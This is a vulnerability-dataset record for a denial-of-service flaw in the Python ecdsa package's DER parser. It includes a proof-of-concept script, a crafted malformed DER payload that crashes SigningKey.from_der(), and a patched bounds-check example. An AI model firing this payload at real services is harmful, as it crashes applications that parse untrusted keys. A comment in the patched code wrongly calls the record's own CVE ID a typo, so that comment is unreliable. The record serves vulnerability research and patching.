{"id":1712,"cve":"CVE-2026-33936","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-33936\/","cwe":"CWE-20","cwe_number":20,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/20","cvss_score":5.3,"published":"2026-03-27","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Insecure Parsing or Deserialization","scope":"Remote","impact":"Denial of Service (DoS)","summary":"ecdsa: Denial of Service due to an uncaught exception in the DER parser.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-33936\/","description":"The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Prior to version 0.19.2, an issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. Version 0.19.2 patches the issue.","solution":"Upgrade `ecdsa` to version 0.19.2 or later.","affected_component":"ecdsa","fixed_by_upgrading":true,"vulnerable_code":"import sys\nfrom ecdsa import SigningKey, NIST256p, __version__\nfrom ecdsa.der import UnexpectedDER\n\n# This demonstration requires a vulnerable version of ecdsa (< 0.19.2)\n# The code will not raise an IndexError on patched versions.\nif tuple(map(int, __version__.split('.'))) >= (0, 19, 2):\n    print(f\"Installed ecdsa version {__version__} is not vulnerable. Exiting.\", file=sys.stderr)\n    sys.exit(1)\n\n# This is a crafted DER byte sequence for a private key.\n# It consists of:\n# 1. A SEQUENCE tag with a declared length of 4102 bytes (0x1006).\n#    This length is large enough to trick the parser into proceeding.\n#    (b\"\\x30\\x82\\x10\\x06\")\n# 2. An INTEGER with value 1 (the version).\n#    (b\"\\x02\\x01\\x01\")\n# 3. An OCTET STRING tag declaring a length of 4096 bytes (0x1000).\n#    This is the core of the vulnerability.\n#    (b\"\\x04\\x82\\x10\\x00\")\n# 4. The actual data provided for the OCTET STRING, which is only 3 bytes.\n#    This is a truncated buffer.\n#    (b\"\\x01\\x02\\x03\")\nmalformed_der = (\n    b\"\\x30\\x82\\x10\\x06\"\n    b\"\\x02\\x01\\x01\"\n    b\"\\x04\\x82\\x10\\x00\"\n    b\"\\x01\\x02\\x03\"\n)\n\ntry:\n    # In vulnerable versions, the DER parser will not check if the declared\n    # length of the OCTET STRING (4096) exceeds the available buffer.\n    # The higher-level `from_der` function will then attempt to slice the\n    # buffer using this incorrect length, causing an `IndexError`.\n    SigningKey.from_der(malformed_der, curve=NIST256p)\n    print(\"No exception was raised. The version may be patched.\", file=sys.stderr)\n\nexcept IndexError:\n    # Catching this specific, unexpected exception demonstrates the vulnerability.\n    # An application not prepared to handle IndexError from this API call would crash,\n    # leading to a Denial of Service.\n    print(\"Vulnerability confirmed: Caught expected IndexError.\", file=sys.stderr)\n\nexcept (UnexpectedDER, ValueError) as e:\n    # On a patched version, a clean error like this would be raised instead.\n    print(f\"A clean error was raised, as expected on a patched version: {e}\", file=sys.stderr)","patched_code":"import binascii\n\n# Helper class and functions from the `ecdsa.der` module are included here\n# to create a self-contained, runnable example that demonstrates the fix.\nclass UnexpectedDER(Exception):\n    \"\"\"Exception raised when processing a malformed DER string.\"\"\"\n    pass\n\ndef read_length(string):\n    \"\"\"\n    Read a DER length sequence.\n    This is a simplified helper based on the one in python-ecdsa's der.py.\n    \"\"\"\n    if not string:\n        raise UnexpectedDER(\"Empty string when trying to read length\")\n    if string[0] <= 127:\n        return (string[0], 1)\n    if string[0] == 128:\n        raise UnexpectedDER(\"Indefinite length encoding not supported\")\n    number_of_octets = string[0] & 127\n    if number_of_octets == 0:\n        raise UnexpectedDER(\"Invalid length encoding\")\n    if len(string) < 1 + number_of_octets:\n        raise UnexpectedDER(\"Not enough bytes to read length\")\n    length = int(binascii.hexlify(string[1 : 1 + number_of_octets]), 16)\n    return (length, 1 + number_of_octets)\n\n\n# The following function represents the code that fixes CVE-2024-33936\n# (note: the CVE in the prompt, CVE-2026-33936, appears to be a typo)\n# in the ecdsa library (version 0.19.2 and later).\ndef remove_octet_string_fixed(string):\n    \"\"\"\n    Remove an OCTET STRING wrapper from a DER-encoded string.\n\n    This version includes the bounds check that fixes the vulnerability,\n    preventing a denial-of-service attack from a malformed DER string.\n    \"\"\"\n    if not string.startswith(b\"\\x04\"):\n        raise UnexpectedDER(\n            \"wanted OCTET STRING (0x04), got {0:x}\".format(string[0])\n        )\n    length, lengthlength = read_length(string[1:])\n    end = 1 + lengthlength + length\n\n    # THE FIX:\n    # This check was added in ecdsa v0.19.2. It ensures that the\n    # length declared in the DER encoding does not exceed the actual\n    # length of the provided byte string. In vulnerable versions, this\n    # check was missing.\n    if end > len(string):\n        raise UnexpectedDER(\n            \"ran out of input trying to extract OCTET STRING\"\n        )\n\n    return string[1 + lengthlength : end]\n\n\nif __name__ == \"__main__\":\n    # A crafted DER OCTET STRING that triggers the vulnerability in older\n    # versions of the `ecdsa` library. It declares a length of 4096 (0x1000)\n    # but provides only 3 bytes of actual data.\n    #\n    # Breakdown:\n    # b'\\x04'          -> OCTET STRING tag\n    # b'\\x82'          -> Length field uses 2 subsequent bytes\n    # b'\\x10\\x00'      -> Declared length is 4096\n    # b'\\x01\\x02\\x03'  -> Actual data provided (only 3 bytes)\n    malformed_der = b\"\\x04\\x82\\x10\\x00\\x01\\x02\\x03\"\n\n    print(\"Demonstrating the fix for CVE-2024-33936...\")\n    print(f\"Attempting to parse malformed DER: {malformed_der.hex()}\")\n\n    try:\n        # In vulnerable versions (<0.19.2), this would not raise an error.\n        # Instead, it would return a truncated byte string (b'\\x01\\x02\\x03'),\n        # which would later cause an unhandled IndexError in a calling function\n        # like `SigningKey.from_der()`, leading to a potential DoS.\n        #\n        # With the fix, this call correctly raises an `UnexpectedDER` exception,\n        # cleanly rejecting the invalid input.\n        remove_octet_string_fixed(malformed_der)\n        print(\"\\nFAILURE: The fixed function did not raise an exception.\")\n\n    except UnexpectedDER as e:\n        print(\"\\nSUCCESS: The fixed function correctly raised a clean exception.\")\n        print(f\"  Exception type: {type(e).__name__}\")\n        print(f\"  Exception message: '{e}'\")\n        print(\"\\nThis demonstrates that the malformed input is properly rejected,\")\n        print(\"preventing a downstream crash and mitigating the DoS vulnerability.\")\n\n    except Exception as e:\n        print(f\"\\nFAILURE: An unexpected exception was raised: {type(e).__name__}: {e}\")","payload_needed":true,"payload":"```python\nimport ecdsa\n\n# Crafted DER payload for CVE-2026-33936.\n# This is a DER SEQUENCE representing an ECPrivateKey.\n# The `privateKey` field is an OCTET STRING that declares a length\n# of 4096 (0x1000) but provides only 3 bytes of data.\n# This malformed structure causes an IndexError in vulnerable versions\n# of the `ecdsa` library when `SigningKey.from_der()` is called.\n#\n# DER Breakdown:\n# 30 0A          -- SEQUENCE, 10 bytes long\n#   02 01 01     -- INTEGER, 1 byte long, value 1 (version)\n#   04 82 10 00  -- OCTET STRING tag + multi-byte length of 4096\n#   01 02 03     -- ...but only 3 bytes of data are provided.\npayload = b'\\x30\\x0a\\x02\\x01\\x01\\x04\\x82\\x10\\x00\\x01\\x02\\x03'\n\n# In a vulnerable environment (ecdsa < 0.19.2), this line will raise an\n# uncaught IndexError, leading to a Denial of Service.\necdsa.SigningKey.from_der(payload)\n```","payload_status":"available","published_fix":[{"repository":"tlsfuzzer\/python-ecdsa","commit_url":"https:\/\/github.com\/tlsfuzzer\/python-ecdsa\/commit\/acc40fdaf7bb09aafc912a687ca6ed063ecaface","commit_subject":"der: reject truncated lengths in octet\/implicit\/constructed","units":[{"file":"src\/ecdsa\/der.py","function":"remove_constructed"},{"file":"src\/ecdsa\/der.py","function":"remove_implicit"},{"file":"src\/ecdsa\/der.py","function":"remove_octet_string"}]}],"references":null}